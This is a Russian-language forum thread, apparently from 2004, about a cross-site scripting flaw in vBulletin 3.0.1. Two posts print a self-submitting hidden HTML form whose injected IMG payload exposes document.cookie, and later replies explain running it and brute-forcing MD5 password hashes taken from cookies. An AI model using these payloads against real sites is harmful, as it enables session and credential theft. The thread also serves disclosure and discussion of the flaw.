![]() |
Страницы (3): [1] 2 3 » Показаны 32 сообщений на этой странице |
Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- VBulletin 3.x.x (http://netadmin.ws/forum/forumdisplay.php?forumid=74)
-- Баг в vBulletin 3.0.1 (http://netadmin.ws/forum/showthread.php?threadid=9047)
Баг в vBulletin 3.0.1
Обнаружена уязвимость в vBulletin. Удаленный атакующий может получить доступ к важной информации пользователей.
Пример:
<form action="http://host/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="<IMG src="java script:alert(document.cookie)">"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>
__________________
Жизнь - вредная штука, от нее умирают...
Yoghurt
Надо чтобы админ вставил это шаблон? я правильно понимаю?
Мля .... действительно работает ....
(
Нужно что-то делать .... 
__________________
.
Более корректный вот этот код:
<form action="http://forum/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="<IMG src="java script:alert(document.cookie)">"/>
<input name="do" value="postreply"/>
<input name="t" value="441" />
<input name="p" value="6308" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>
..........
<input type="submit" class="button" name="sbutton"/>
</form>
<script>
document.all.sbutton.click();
</script>


__________________
.
интересно, а на 3.0.0 тоже рабоатет? и ваще-то я не понял.. что именно надо сделать с этим кодом? Ввести его в форму ответа или что?
MCTarakan добавил 28-06-2004 в 17:03:21:
да, я так понял в инфе все-равно пароль который засекречен MD5? Его можно расшифровать или нет?
__________________
yMC.ru - хомяк музыканта
MCTarakan
В отдельный html файл вставляешь и в браузере открываешь его ...
MD5 расшифровать при возможности можно ... чаще всего только брутфорсом ... хотя кажется в 3.0.x в исходный пароль "подмешивается" еще что-то ... так-что в этом случае расшифровать становится значительно сложней ....
__________________
.
А на vb3.0.0 эта дыра есть?
в 3.0.0 вроде эта дыра не заработала (во всяком случае у меня)...
__________________
yMC.ru - хомяк музыканта
GenUS
То, что с паролем подмешивается, этого мало. Там подмешивается какая-то подборка чисел, которую можно и самому изменить. Но толку от этого мало будет.
Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь. 
__________________
Gets.ru - Компьютерный Портал
quote:
Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь.
NeoExpert
Логично! Но на вряд ли получится, т.к. сессия постоянно разная, т.е. получится что один раз смешалась, а потом когда система будет проверять пароль, то в конечном итоге все прийдет к тому, что система будет ругаться что пароль неверный.
__________________
Gets.ru - Компьютерный Портал
А в чем "дыра" заключается? Что ты сам свой MD5 пароль увидишь?
W.M. я так понял MD5-пароль того чела, чей постИД ты введешь! 
__________________
yMC.ru - хомяк музыканта
аа я понял... типа пытаемся обмануть борду что мы хотим preview и она наивно нам отдается вместе со всеми MD5 :-)
Я вообще не понимаю - зачем в куках хранить хеш пароля... еще бы кредитки номер отдавали... куки же не секьюрные, по http передаются (за редким исключением)...
quote:
W.M. я так понял MD5-пароль того чела, чей постИД ты введешь!
quote:чтобы тебя авторизовать автоматом могло при входе на форум.
Я вообще не понимаю - зачем в куках хранить хеш пароля...
__________________
вот так вот...
ICQ 937160
| Формат времени GMT. Текущее время 21:57. | Страницы (3): [1] 2 3 » Показаны 32 сообщений на этой странице |
Powered by: vBulletin Version 2.2.4
Copyright © Jelsoft Enterprises Limited 2000, 2001.